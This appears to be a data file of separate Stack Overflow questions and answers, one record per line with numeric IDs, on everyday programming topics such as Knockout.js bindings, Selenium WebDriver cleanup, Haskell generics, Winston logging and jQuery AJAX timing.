37223969	0	 <p>If you mean, can how can you show the results of observable array in your view, then there's few ways to go on about that:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var data = [{ Url: 's.Piece.Name', Id: 's.Id', IsLighted: 's.IsLighted', Class: 's.ColorType' }, { Url: 's.Piece.Name2', Id: 's.Id2', IsLighted: 's.IsLighted2', Class: 's.ColorType2' }]; var DemoPage = (function() { function DemoPage() { var self = this; self.CellList = ko.observableArray([]); self.updateBoard = function(cellList) { var _temp = []; for (var i = 0; i &lt; cellList.length; i++) { // I've created a temporary array here, so knockout won't // re-draw every time you push, then when we finally finish this loop // it's pushed to the right target _temp.push(cellList[i]); } self.CellList(_temp); } } return DemoPage; })(); var demo = new DemoPage(); ko.applyBindings(demo); demo.updateBoard(data);</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.result p { color: teal } .result { margin-top: 11px; border-top: 1px solid #bbb; padding-top: 11px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/knockout/3.2.0/knockout-min.js"&gt;&lt;/script&gt; &lt;p&gt;Display individual item:&lt;/p&gt; &lt;!-- ko if: CellList().length &gt; 0 --&gt; &lt;p data-bind="text: CellList()[0].Url"&gt;&lt;/p&gt; &lt;!-- /ko --&gt; &lt;p&gt;Or just loop them:&lt;/p&gt; &lt;!-- ko if: CellList().length &gt; 0 --&gt; &lt;div data-bind="foreach: CellList"&gt; &lt;div class="result"&gt; &lt;p data-bind="text: Url"&gt;&lt;/p&gt; &lt;p data-bind="text: Id"&gt;&lt;/p&gt; &lt;p data-bind="text: IsLighted"&gt;&lt;/p&gt; &lt;p data-bind="text: Class"&gt;&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- /ko --&gt;</code></pre> </div> </div> </p> <p>Notice that I've wrapped them with virtual if bindings - that's because on the initialization, the array is empty and there are no objects with those properties at that time. Only show them when there's at least 1 element in the array.</p> <p>You could also use mapping, and convert all object properties into observables, then they all could be changed dynamically later.</p>
24038304	0	 <p>This makes it easier when defining method return types such as this:</p> <pre><code>class A&lt;B extends A&lt;B&gt;&gt; { public B getMe(){ return (B) this; } } </code></pre> <p>This tells Java compiler that you are in <code>getMe()</code> method returning a subclass of class <code>A</code>.</p> <pre><code>class C extends A&lt;C&gt; { } C c = new C(); c.getMe(); //returns C </code></pre>
22237309	0	Run js once an image has been lazy loaded <p>I'm using this lazy load jQuery script ( <a href="http://www.appelsiini.net/projects/lazyload" rel="nofollow">http://www.appelsiini.net/projects/lazyload</a> ) to lazy load images when they appear in the viewport, but I want to run some javascript / styling to style the new, full image that is loaded.</p> <p>How can I run javascript once the image has been loaded?</p>
9115696	0	Android and playing SVG animation <p>I'm writing an Android application and I'd like to play a simple SVG animation. I'm aware that Android does not offer SVG support; what are my options here?</p>
14562363	0	Selenium web driver not able to close firefox instance if a Test cases is failed <p>i folks, i am using junit with selenium web driver 2.28. the problem is if i run a successful test case the web drives is able to close the firefox instance, but when a test case fails the selenium web driver is not able to close the firefox. i am using FF 15.0.1 with selenium-server-standalone-2.28.0.jar. please respond thanks Sahil</p> <pre><code>private void startWebdriver() throws UIException{ //2) Prevent re-use. if(UIHandlerWD.this.profile == null) throw new UIException( UIException.Code.UI, "Webdriver instance cannot be instantiated." ); //3) Configure Selenium Webdriver. if (this.profile.browserType.equalsIgnoreCase("*firefox")){ FirefoxProfile fProfile = new FirefoxProfile(); // profile.SetPreference("network.http.phishy-userpass-length", 255); fProfile.setAcceptUntrustedCertificates(true); DesiredCapabilities dc = DesiredCapabilities.firefox(); dc.setJavascriptEnabled(true); dc.setCapability(FirefoxDriver.PROFILE, fProfile); //this.webdriver = new FirefoxDriver(dc); this.webdriver = new FirefoxDriver(dc); } else if (this.profile.browserType=="INTERNETEXPLORER") this.webdriver = new InternetExplorerDriver(); else throw new UIException( UIException.Code.UI, "Unknown browser type '" + this.profile.browserType +"'." ); //4) Start Webdriver. this.webdriver.get(this.profile.getURL().toString()); this.webdriver.manage().timeouts(). implicitlyWait(5, TimeUnit.SECONDS); this.webdriver.manage().timeouts(). pageLoadTimeout(this.profile.timeout, TimeUnit.SECONDS); } void stopWebdriver() { if(this.webdriver != null){ try{ Thread.sleep(5000); } catch (Exception e) { // TODO: handle exception } this.webdriver.close(); } this.webdriver = null; this.profile = null; } </code></pre>
33625750	0	 <p>You maybe intrested in <a href="http://docs.oracle.com/javase/7/docs/technotes/tools/windows/javap.html" rel="nofollow">javap</a></p> <p>I have created A.java, B.java, C.java, D.java fiels:</p> <pre><code> public class A { public static void main(String[] args) { B b = new B(); b.getC().getD(); } } </code></pre> <p>and compile these classes.</p> <p>Now we can use javap to dissemble A.class:</p> <pre><code>javap -c A </code></pre> <p>and get bytecodes:</p> <p>public class A { public A(); Code: 0: aload_0 1: invokespecial #1 // Method java/lang/Object."":() 4: return</p> <pre><code> public static void main(java.lang.String[]); Code: 0: new #2 // class B 3: dup 4: invokespecial #3 // Method B."&lt;init&gt;":()V 7: astore_1 8: aload_1 9: invokevirtual #4 // Method B.getC:()LC; 12: invokevirtual #5 // Method C.getD:()LD; 15: pop 16: return } </code></pre> <p>Now you can get A.class have used imported class, like:</p> <ul> <li>// Method B.getC:()LC; --> used class B </li> <li>// Method C.getD:()LD; --> used class C</li> </ul> <p>but I think the best way is use <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree" rel="nofollow">Abstract Syntax Tree</a> as @Kong, </p>
17914195	0	 <p>Use classes instead of IDs as propper markup there should be only 1 ID of a given name per page.</p> <p>HTML</p> <pre><code>loop 1 &lt;p&gt;- user review-&lt;/p&gt; &lt;a href="#" class="upvote" data-review="1"&gt;Up Vote&lt;/a&gt; loop 2 &lt;p&gt;- user review-&lt;/p&gt; &lt;a href="#" class="upvote" data-review="2"&gt;Up Vote&lt;/a&gt; etc. </code></pre> <p>JS</p> <pre><code>// jQuery / AJAX - separate file linked to `HTML` $('.upvote').on('click', function(e) { e.preventDefault(); var review_id = this.data('review'); $.ajax({ url : "search_query.php", type : "POST", dataType: "json", data : { reviewId : review_id }, success : function(data) { // do stuff } }); </code></pre> <p>PHP</p> <pre><code>&lt;?php $review_id = $database-&gt;escape_value(trim($_POST['reviewId'])); // Upvote Method $result = Data::upVoteReview($review_id, $_SESSION['user_id']); $output["result"] = $result; print(json_encode($output)); ?&gt; </code></pre>
35124826	0	How to insert CheckBoxList Checked Item to Database <p>I have a check box list, and I want to insert its Checked items to Database; I used this code:</p> <pre><code>for (int i = 0; i &lt; checkBox_service.Items.Count; i++) { if (checkBox_service.Items[i].Selected == true) { strcheck += "" + checkBox_service.Items[i].ToString() + ","; } } </code></pre> <p>In Database it is displaying</p> <pre><code>System.Web.UI.WebControls.CheckBoxList </code></pre> <p>in CheckBox field instead of Selected item. All other fields are having correct data as per entered... I couldn't find any error, please guide me...</p>
35424427	0	 <blockquote> <ol> <li>What is <code>mk</code> returning?</li> </ol> </blockquote> <p>Let's go through a much simpler example In the documentation of GHC.Generics first. To achieve a generic function <code>encode :: Generic a =&gt; a -&gt; [Bool]</code> that bit serialize every data type which has a Generic instance, they defined the type class below : </p> <pre><code>class Encode' rep where encode' :: rep p -&gt; [Bool] </code></pre> <p>By defining <code>Encode'</code> instances for every Rep type (M1, K1, etc.), they made the function work universally on every data types.</p> <p>In <a href="https://ocharles.org.uk/blog/posts/2014-04-26-constructing-generically.html" rel="nofollow">Building data constructors with GHC Generics</a>, the author's final goal is a generic function <code>make :: Generic a =&gt; TypeOfConstructor a</code>, so naively one may define:</p> <pre><code>class Mk rep where mk :: (? -&gt; p) -- what should '?' be? </code></pre> <p>And soon realize that it's impossible due to a few problems:</p> <ol> <li><code>-&gt;</code>, the function type in haskell only takes one argument at a time, so <code>mk</code> won't be able to return anything sensible if the constructor takes more than one argument.</li> <li>The number and type of the arguments are unclear: it's relative to the <code>rep</code> type in concern.</li> <li>It cannot be plain <code>p</code> as the result type. Without the <code>rep</code> context it's impossible to derive instances for <code>:*:</code> or <code>:+:</code>, and the function will no longer work on any nested data type.</li> </ol> <p>Issue 1 can be solved with Data.Functor.Compose. A function of type <code>a -&gt; b -&gt; c</code> can be encoded into <code>Compose ((-&gt;) a) ((-&gt;) b) c</code>, it can be further composed while keeps a whole lot of information about argument types. And by making it a type parameter of <code>Mk</code>, issue 2 is solved too:</p> <pre><code>class Functor f =&gt; Mk rep f | rep -&gt; f where mk :: f (rep p) </code></pre> <p>where <code>f</code> is generalization over <code>Compose f g</code> and <code>(-&gt;) a</code>, which contains type-level information to construct a <code>rep p</code>, i.e. everything before the final <code>-&gt;</code> in <code>a -&gt; b -&gt; c -&gt; ... -&gt; rep p</code>. </p> <blockquote> <ol start="2"> <li>I'm guessing <code>Compose</code> comes from <code>Data.Functor.Compose</code>, which means that when I do <code>fmap f x</code>, it does the <code>fmap</code> two levels deep into the composed functors. But I can't make sense of the nested <code>fmap</code>s inside the <code>Compose</code>. </li> </ol> </blockquote> <p>In the <code>Mk</code> instance of <code>:*:</code>:</p> <pre><code>instance (Mk l fl, Mk r fr) =&gt; Mk (l :*: r) (Compose fl fr) where mk = Compose (fmap (\l -&gt; fmap (\r -&gt; l :*: r) mk) mk) </code></pre> <p><code>fmap</code> changes only the inner-most type of a nested Compose, in this case changes the final result of a n-ary function. <code>mk</code> here is literally concatenating two argument lists <code>fl</code> and <code>fr</code>, putting their results into a product type, namely</p> <pre><code>f :: Compose ((-&gt;) a) ((-&gt;) b) (f r) g :: Compose ((-&gt;) c) ((-&gt;) d) (g r) mk f g :: Compose (Compose ((-&gt;) a) ((-&gt;) b)) (Compose ((-&gt;) c) ((-&gt;) d)) ((:*:) f g r) -- or unwrapped and simplified (a -&gt; b -&gt; r) -&gt; (c -&gt; d -&gt; r') -&gt; a -&gt; b -&gt; c -&gt; d -&gt; (r, r') </code></pre> <blockquote> <ol start="3"> <li>For the instance of <code>M1 i c f</code>, I thought it would just wrap the inner values in <code>M1</code>, so the need to <code>M1 &lt;$&gt; mk</code> or <code>fmap M1 mk</code> makes no sense to me.</li> </ol> </blockquote> <p>It does just wrap the inner values in <code>M1</code>, but it's unclear how long the argument list of the underlying <code>f</code> is. If it takes one argument then <code>mk</code> is a function, otherwise it's a Compose. <code>fmap</code> wraps the inner-most value of them both.</p>
41004464	1	how to obtain the name of the program active in this moment? <p>to be more specific, i need to obtain the title's name of the program that currently is working on my pc(windows), if for example i am using Excel,I want to put in a variable, the name of it, Excel in this case, thanks a lot and excusme for my terrible english.</p>
33263298	0	Winforms UI hang after DisplaySettingsChangingevent <p>I am working on an application that generally runs 24x7. It does so well for a period of time but I have noticed that after the DisplaySettingsChanging event fires (via an RDP connection) the application will continue to process in the background but the UI becomes completely unusable. It does not tell you in the task manager that the application is unresponsive like when the UI message pump is blocked. I know there is a bug with the SystemEvents class (still in .NET 4?). I have moved our splash screen into the form load event handler and do not create any controls on another thread other than the main UI thread. I have tried subscribing to the following events in the constructor of my main form (which has a valid SynchronizationContext)</p> <pre><code>SystemEvents.DisplaySettingsChanging SystemEvents.DisplaySettingsChanged SystemEvents.UserPreferencesChanged </code></pre> <p>but per <a href="http://stackoverflow.com/questions/4077822/net-4-0-and-the-dreaded-onuserpreferencechanged-hang">this related solution</a> but it doesn't seem to help.</p> <p>What else am I missing here?</p> <p>EDIT 1: Ok after running spy++ I see there are two threads that own windows other than the main UI thread. However when I examine the threads within my process in visual studio I don't see either one. Does that mean some referenced assembly is the culprit? Probably should be a separate question, but how do I find out?</p> <p><a href="https://i.stack.imgur.com/Czkqt.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Czkqt.png" alt="enter image description here"></a></p> <p>EDIT 2: The second window is a button click event that opens an open file dialog box. I checked the apartment state for that thread and it is correct STA. I have not determined how or when that other thread is created. Seems like it must be the offender.</p>
12918670	0	 <p>Yes, it's possible. You just need to specify some directives in your manifest.json:</p> <pre><code>"content_security_policy": "default-src 'none'; script-src 'self'" </code></pre>
30509910	0	 <p>For most databases there is the option of batch insertions. Obviously even a small overhead will accumulate if you have to many connections over time. And performing single insertions will have a greater overhead than on batch. The only issue is how often?.... And you should test how often you wan't to insert and how much information you should store locally before doing a batch insertion.</p>
6583297	0	Unit test design question <p>I'd like to unit test this method</p> <pre><code>public string Edit(int id) { var item = _repository.Get(id); string json = _jsonConverotr.Convert(item); return json; } </code></pre> <p>The repository will by mocked. But the jsonConvertor is a simple class to convert an entity to json.</p> <p>So my question is,should I also mock the jsonConvertor class or is it Ok to use the original ? The jsonConvertor class is tested elsewhere.</p>
129115	0	 <p>You can use SQL Profiler to find that out.</p> <p>EDIT: If you can stop the app you are running, you can start SQL Profiler, run the app and look at what's running including stored procedures.</p>
185993	0	MVP examples for Windows Forms <p>Is there good example code or a test project for explaining the <a href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter" rel="nofollow noreferrer">Model–view–presenter (MVP) pattern</a>. There are a lot of explanation links, but I want to have some good example code to show others without reinventing the wheel.</p>
31255620	0	 <p>You can use <code>sprintf</code> and <code>\n</code> to get multiple lines. The additional <code>HorizontalAlignment</code>-property aligns the text horizontally. Then you just need to fine fine-tune the overall position.</p> <pre><code>f = figure('menu','none','toolbar','none'); txt = sprintf('Line 1\nA longer line 2\nLine 3'); uicontrol('Style','text','Position',[30 45 180 40],'String',txt,... 'HorizontalAlignment','left'); </code></pre> <p><em>This looks like this:</em></p> <p><img src="https://i.stack.imgur.com/hcIwa.png" alt="pic1"></p>
63740	0	 <p>Is it possible that we are in a panic and are getting confused between unit tests and performance tests? Is it that your application works fine with few users, but starts throwing errors when under heavier load? If so, unit tests are not the answer. Unit tests != Load tests.</p> <p>If unit tests are in fact the answer, retrofitting unit tests is a good idea as it will help clean up the code. Just be prepared to refactor a lot. Code written with TDD turns out looking a lot different than code written without TDD. In my case, I had a method HandleDisposition() which took care of a lot of cases. This kind of method would not have existed if we had written the code with TDD. When retrofitting unit tests, we refactored that function and now have methods like XDisposition(), YDisposition(), ZDisposition(), which are a lot easier to write unit tests against.</p>
20647178	0	Winston logging to multiple file logs without duplicating log messages <p>Here is my Winston config:</p> <pre><code>winston = require 'winston' logger = new winston.Logger transports: [ new winston.transports.File name: 'file#debug' level: 'debug' filename: '/tmp/debug.log' new winston.transports.File name: 'file#error' level: 'error' filename: '/tmp/error.log' ] </code></pre> <p>Currently when I log:</p> <pre><code>logger.error 'error' # both logs logger.debug 'debug' # on debug log </code></pre> <p>What I want is the errors to only go to error.log, and debug messages to only go to debug.log. How can i do that? Searched the File transport options but didnt find anything like that.</p>
4995806	0	Delay ajax request by x seconds and update only the last clicked request <p>Hi all I am delaying a AJAX request by 3 seconds and then updating a div with the response. But the problem what I face is, when the user clicks on all the three links simultaneously, the requested content keeps getting updated in the div. What i am trying to do is, serve only the last clicked ajax request content, but should not abort the previous requests too. Is there any way that i can achieve it ?? Thanks in advance </p> <h2>Script</h2> <pre><code> $('.links li a').click(function(event){ event.preventDefault(); var getUrl = $(this).attr("href"); var printCall = function() { $.ajax({ url: getUrl, type: "GET", beforeSend: function() { }, error: function(request){ alert(request) }, success: function(data) { $('#graphContent').html(data); } }); }; setTimeout(printCall, 3000); }); </code></pre> <h2>HTML</h2> <pre><code>&lt;ul&gt; &lt;li&gt;&lt;a href="http://localhost/test.php"&gt;Link 1&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost"&gt;Link 2&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="index.html"&gt;Link 3&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>
7941162	0	 <p>Does your scheme target dropdown list show "iOS Device" or does it show the "name" of your iPod Touch (something like "jons ipod touch"):</p> <p><img src="https://i.stack.imgur.com/ia2hw.jpg" alt="Scheme Target"></p> <p>If it shows "iOS Device", that means your iPod isnt recognized by xcode and you may need to enable the device for developing by clicking "<em>Use For Development</em>" like so:</p> <p><img src="https://i.stack.imgur.com/TV3qE.jpg" alt="Enable For Development"></p>
17434119	0	How to get frequency of elements from List in c# <p>I am trying to get the frequency of elements stored in a list.</p> <p>I am storing the following ID's in my list</p> <pre><code>ID 1 2 1 3 3 4 4 4 </code></pre> <p>I want the following output:</p> <pre><code>ID| Count 1 | 2 2 | 1 3 | 2 4 | 3 </code></pre> <p>In java you can do the following way. </p> <pre><code>for (String temp : hashset) { System.out.println(temp + ": " + Collections.frequency(list, temp)); } </code></pre> <p>Source:<a href="http://www.mkyong.com/java/how-to-count-duplicated-items-in-java-list/" rel="nofollow">http://www.mkyong.com/java/how-to-count-duplicated-items-in-java-list/</a></p> <p>How to get the frequency count of a list in c#? </p> <p>Thanks.</p>
38331135	0	 <p>For people coming here in 2016, you can find lots of useful colours here: </p> <pre><code>nameStyle.Color = NPOI.HSSF.Util.HSSFColor.BlueGrey.Index; </code></pre> <p>Whereby BlueGrey is the colour you are looking for.</p>
1672285	0	 <p>The short answer:</p> <p>the .net platform can be used for transactional systems, but the question is really is the platform scalable enough and can it perform well enough under extremely high volumes?</p> <p>.Net like every other high level language has a place in this world, and I personally would not use .net managed code for core transactional systems. In the same way I simply would not use .net for writing mission critical device drivers. </p> <p>If you have a choice go for c++ for mission critical stuff. Don't throw .net out of the solution entirely, recognize it has its strengths, and use it accordingly.</p> <p>.net is very good for rapid, reusable development, I would even say if you use it correctly (perhaps even go unmanaged) and test / retest your apps, you'll get away with a lot more than you think. </p>
16134975	0	Reduce increasing time to push a subtree <p>I'm using git in my project, which consists of several sub-projects. Each sub-project is "linked" in the main project using the "git subtree" command. That's my way to realize "svn externals" in git. I'm using it since some weeks, but the time pushing my changes from the subtree to the remote location increases during every commit. It look like this, when I'm pusing the changes using the command "git subtree push -P platform/rtos rtos master"</p> <pre><code>git push using: rtos master 1/ 215 (0)2/ 215 (1)3/ 215 (2)4/ 215 (3)5/ 215 (4)6/ 215 (5)7/ 215 (6)8/ 215 (7)9/ 215 (8)10/ 215 (9)11/ 215 (9)12/ 215 (10)13/ 215 (11)14/ .... 20 more lines .... (204)209/ 215 (205)210/ 215 (206)211/ 215 (207)212/ 215 (208)213/ 215 (209)214/ 215 (210)215/ 215 (211)To https://github.com/rtos/rtos.git 64546f..9454ce 9a9d34c5656655656565676768887899898767667348590 -&gt; master </code></pre> <p>Is there any way to "clean up" the subtree and therefore reduce the time pushing the changes?</p>
25720054	0	 <p>If _disable_f2 is being given two arguments, let it have what it wants.. try below... :)</p> <pre><code>from Tkinter import * class App: def _disable_f2(self, master): if self.filt.get() == 'bandpass': self.filter_menu.configure(state='normal') else: self.filter_menu.configure(state='disabled') def __init__(self, master): self.f2var = StringVar() self.f2var.set('5.0') self.f2_entry = Entry(master, textvariable=self.f2var, width=5) self.f2_entry.pack() self.filt = StringVar() self.filt.set('bandpass') self.filter_menu = OptionMenu(master, self.filt, 'bandpass', 'lowpass ', 'highpass', command=self._disable_f2) self.filter_menu.pack(ipadx=50) root = Tk() app = App(root) root.mainloop() </code></pre>
6457620	0	Convert a string to datetime <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/1009457/how-can-i-convert-a-string-into-datetime-in-net">How can I convert a string into datetime in .NET?</a> </p> </blockquote> <p>i have a string in the following format "15/03/2046". how can convert this string to a DateTime object? </p> <p>My problem is when i do Convert.ToDateTime("15/03/2046") i get an exception.<br> when i do Convert.ToDateTime("03/03/2046") every thing works fine.<br> so i guess that i have to specify the format somehow while converting....</p>
9564313	0	WCF REST - Myriad of ways to create - How to choose? <p>I am learning to create RESTful services using WCF. There are a myriad of options to choose from. I am confused as to what should i use. 1.)REST Starter kit - Seems to be obsolete 2.)WCF WEbhttp service 3.)WCF Web API 4.)ASP.NET web api</p> <p>I dont want to use ASP.NET MVC to build RESTFul services. I dont like the idea of services being in the same solution structure of a presentation layer. So what is it i should use?ASP.NET web api seems to be having going down the MVC route where the requests are handled by a controller which i feel does not fit into a "Service" terminology.</p>
6937472	0	I want background of my cocos2d game to be the view of the camera of iphone. How do i do that? <p>I am making a game with augmented reality in it. So, i want to have the camera view as the background of the game. However, I am finding some difficulties in doing this.</p> <p>I tried doing it using the UIImagePickerController but then when i do that, all i get is the camera view and the game elements disappear. </p> <p>I looked at some of the articles..</p> <p><a href="http://www.cocos2d-iphone.org/forum/topic/1752" rel="nofollow">http://www.cocos2d-iphone.org/forum/topic/1752</a></p> <p><a href="http://www.cocos2d-iphone.org/forum/topic/711" rel="nofollow">http://www.cocos2d-iphone.org/forum/topic/711</a></p> <p>but i didnt get any proper answer and it only confused me more.</p> <p>Can anyone help? Thanks.</p>
37686123	0	 <p>'Key' in the <code>getCommand</code> array is the name/path to the file you want to generate a pre-signed URL for, not your AWS key :)</p> <pre><code>$cmd = $s3Client-&gt;getCommand('GetObject', [ 'Bucket' =&gt; 'my-bucket-name', 'Key' =&gt; 'path/to/file.txt', // or just file.txt if it's in the root of the bucket ]); </code></pre>
11603209	0	 <p>Do you mean to return it as a 32-bit integer?</p> <pre><code>unsigned int get_color(cv::Mat img, float x, float y) { int i = x*img.cols; int j = y*img.rows; unsigned char R = img.ptr&lt;unsigned char&gt;(j)[3*i]; unsigned char G = img.ptr&lt;unsigned char&gt;(j)[3*i+1]; unsigned char B = img.ptr&lt;unsigned char&gt;(j)[3*i+2]; return (R &lt;&lt; 16) | (G &lt;&lt; 8) | B; } </code></pre> <p>Or perhaps you want to return it as floats in which case you need to do the following</p> <pre><code>struct FloatColour { float r; float g; float b; }; float get_color(cv::Mat img, float x, float y) { int i = x*img.cols; int j = y*img.rows; unsigned char R = img.ptr&lt;unsigned char&gt;(j)[3*i]; unsigned char G = img.ptr&lt;unsigned char&gt;(j)[3*i+1]; unsigned char B = img.ptr&lt;unsigned char&gt;(j)[3*i+2]; FloatColour retCol; retCol.r = R / 255.0f; retCol.g = G / 255.0f; retCol.b = B / 255.0f; return retCol; } </code></pre>
19482019	0	Not getting correct answers from very simple functions <p>Okay, so I'm a complete noob. I'm trying my hand at Project Euler to get better at C++. I'm doing problem #1, but I'm not getting the correct output. When I run it, I get that numTotalThree is -3, and numTotalFive is -5, and that numTotal is 0. There's something wrong with my functions, but I'm not sure what I've done wrong. How do I fix this?</p> <pre><code>#include &lt;iostream&gt; using namespace std; int main() { int amount = 1000; int numOfThree = amount / 3; int numOfFive = amount / 5; int numTotalThree = 0; int numTotalFive = 0; int numTotal = numTotalThree + numTotalFive; cout &lt;&lt; numOfThree &lt;&lt; endl; cout &lt;&lt; numOfFive &lt;&lt; endl; for(int i = 0; i &lt;= numOfThree; i++) { numTotalThree += numTotalThree + 3; } cout &lt;&lt; numTotalThree &lt;&lt; endl; for(int i = 0; i &lt;= numOfFive; i++) { numTotalFive += numTotalFive + 5; } cout &lt;&lt; numTotalFive &lt;&lt; endl; cout &lt;&lt; numTotal &lt;&lt; endl; system("PAUSE"); return 0; } </code></pre>
31406320	0	Modal window with Angular (UI-Router / Directive) <p>I have spent some time now looking into a generic way of controlling a modal window with <code>AngularJS</code> and none of the proposed options are anywhere near 'good' solution.</p> <h2>The Directive Solution</h2> <p>I found <a href="http://jsfiddle.net/alexsuch/RLQhh/">this</a> demo, however the downside of that is you have to manually manage and store the state of the modal and cross-scope update it:</p> <pre><code>scope.$parent[attrs.visible] = true; </code></pre> <p>Also if you had to add more functionality like actually adding an item with a popup that would involve even more ugly code on the parent page scope.</p> <h2>The UI-Router Solution</h2> <p><a href="https://github.com/angular-ui/ui-router/wiki/Frequently-Asked-Questions#how-to-open-a-dialogmodal-at-a-certain-state">This is the official guide on how to use modals with ui router.</a></p> <p>This however is using <strong>ui.bootstrap.modal</strong> </p> <p>My question is, is there any simple and elegant solution to what is quite frankly a very simple problem...</p> <p><strong>Something like this for example:</strong></p> <pre><code>.state('popup', { url: '/item/add/', views: { 'popupView': { templateUrl: "/myPopup.html", controller: "myPopupController" } }, type: 'modal' }) </code></pre> <p>And things like close, redirect, submit, all are handled in the <code>myPopupController</code>.</p> <p>I am not seeking an explanation of why the examples are above are as they are, or how I should be using them. I am simply looking if anyone has come up with a better solution.</p>
15229132	0	 <p>Try this regex.</p> <pre><code>url = url.replace(/^http:\/\//i, 'https://'); </code></pre>
39911362	0	 <p>You can use the <code>format</code> option:</p> <pre><code>// Move formatting code into a function function toFormat ( v ) { return formatDate(new Date(v)); } // Add a formatter to the slider format: { to: toFormat, from: Number } // You can then directly use the value in the update function dateValues[handle].innerHTML = values[handle]; </code></pre> <p>Updated <a href="https://jsfiddle.net/leongersen/vvgr74v2/1/" rel="nofollow">fiddle</a>.</p>
3331463	0	JQuery wrap() problem <p>Why doesn't the following code wrap the image with <code>&lt;li&gt;</code> tags and what would be the best way to do this?</p> <pre><code>var i = new Image i.src = '/images/image.jpeg' $(i).wrap('&lt;li /&gt;') $('div').html(i) </code></pre> <p>produces:</p> <pre><code>&lt;div&gt;&lt;img src="/images/image.jpeg"&gt;&lt;/div&gt; </code></pre> <p>instead desired:</p> <pre><code>&lt;div&gt;&lt;li&gt;&lt;img src="/images/image.jpeg"&gt;&lt;/li&gt;&lt;/div&gt; </code></pre>
34231733	0	 <p>The CoolEdit snapshot looks like its reading a file with a 44.1 kHz sample rate linear PCM format. You appear to be storing 16 kHz ALaw format data into that file, which may be the wrong format for either the data or the file.</p>
33328442	0	 <p>I have done this job,I have just edited <code>jquery</code></p> <pre><code>$(".left-menu-button").click(function() { $(this).parent().children('.left-menu-content').toggle("slow", function() { }); }); </code></pre>
38729249	0	Is Scope of SharedPreferences Limited to One Time Use? <p>I am curious about sharedPreferences and my real question is <code>Variable stored using sharedPreferences in one activity can be fetched in second activity but can i get the value of variable again in third activity ? does it provide this usage? if not How can i achieve this task?</code> </p>
8368174	0	 <p>It looks like you're using the same date object for both log statements. Add this before your "download complete" log statement:</p> <pre><code>dt = new Date(); </code></pre> <p>By the way, all those methods (getSeconds, getHours, etc) of Date are depricated. You can get the timing simply by doing a System.currentTimeMillis() at the beginning of the download and again at the end and subtracting. This is the total duration in milliseconds which you can convert into hours/min/seconds if you want.</p>
3207889	0	 <p>Keep it simple. How about this?</p> <pre><code>while ( my $tag = $parser-&gt;get_tag('input') ) { my $name = $tag-&gt;get_attr('name'); next unless defined $name and $name eq 'hush_username'; print "Value: ", $tag-&gt;get_attr('value'), "\n"; } </code></pre>
14250872	0	IE7 css styles being applied inconsistently <p>I apologize if this question has been asked before. I am relatively new to CSS and web development. I am developing a web app that has to target IE7. For the life of me I cannot figure out why on the "assignments" page the unordered list is formatted one way and on the "Employee Data" page it is not being formatted at all. Both pages are using the same style sheet. I am only having this issue in IE7 and IE8, the newer versions work fine.</p> <p>Here is a link to the site </p> <p><a href="http://www.j-holmes.net/" rel="nofollow">http://www.j-holmes.net/</a></p> <p>Again, I apologize if this question has been asked before. I can't think of any more search criteria to google up an answer for this.</p>
33877521	0	 <p>Use double brackets <code>[[]]</code> to create a list instead:</p> <pre><code>fit_ &lt;- list() for (i in 1:20){ fit_[[i]] &lt;- lm(y ~ x1 + x2 + x3, data=mydata) } </code></pre> <p>Or use Roman's solution in the comments if you want to have separate objects <code>fit_1</code>, <code>fit_2</code>, etc.</p>
11705138	0	 <p><code>opa src/*.opa</code> should work ;)</p> <p>Otherwise, it's just basic Makefile manipulation i guess.</p>
31890607	0	 <p>If you turn stop on errors on, then interrupting it, even with ctrl+c, brings you to the place where it was executing and you have the whole workspace available:</p> <pre><code>dbstop if error </code></pre>
21332719	0	Hide on-screen menu bar android from code <p>Is there a way to hide on-screen menu bar in an android app from code?</p> <p><a href="https://www.dropbox.com/s/cbs7rbac07rs5ks/Screenshot%202014-01-24%2014.24.48.png" rel="nofollow">https://www.dropbox.com/s/cbs7rbac07rs5ks/Screenshot%202014-01-24%2014.24.48.png</a></p>
14931398	0	 <p>You can do this with few simple lines of code</p> <pre><code>NSString *documentDirectoryPath = // Initialize with Documents path BOOL isDir = NO; NSFileManager *fileManager = [NSFileManager defaultManager]; NSArray *files = [fileManager contentsOfDirectoryAtPath:documentDirectoryPath error:NULL]; NSMutableArray *directoriesPaths = [NSMutableArray array]; for (NSString *filePath in files) { if ([fileManager fileExistsAtPath:filePath isDirectory:&amp;isDir] &amp;&amp; isDir) { [directoriesPaths addObject:filePath]; } } NSLog(@"directories %@", directoriesPaths); </code></pre>
35819031	0	 <p>A simple way to do this is to send a response back to the client in the form of html:</p> <pre><code>response.setContentType("text/html"); PrintWriter out = response.getWriter(); //Returns a PrintWriter object that can send character text to the client out.println("&lt;h1&gt;Registered successfully&lt;/h1&gt;"); </code></pre> <p>For more information, go through these <a href="http://www.tutorialspoint.com/servlets/index.htm" rel="nofollow">Tutorials</a></p> <p>If you dont want the page to reload then you should:</p> <ul> <li>send Ajax request to your servlet via Javascript </li> <li>check the values sent to your Servlet as you are doing right now and send the response as I mentioned in code above (you can send a boolean value for success or failure to later check in Javascript)</li> <li>you you will receive response data in Javascript as Ajax response</li> <li><p>now you can set the result of response accordingly in your specific div.</p> <p>See <a href="http://stackoverflow.com/questions/4112686/how-to-use-servlets-and-ajax">this</a> answer for more information on how to use Ajax with Servlets. </p></li> </ul>
8352852	0	 <p>I guess you would be better off with <a href="http://office.microsoft.com/en-ca/web-apps/" rel="nofollow">Office Web Apps,</a> than. Refer for similar threads <a href="http://stackoverflow.com/questions/726293/can-you-do-complex-editing-of-word-documents-in-a-browser">here</a> and <a href="http://stackoverflow.com/questions/1053042/open-word-document-in-browser-with-inline-editing">here</a></p>
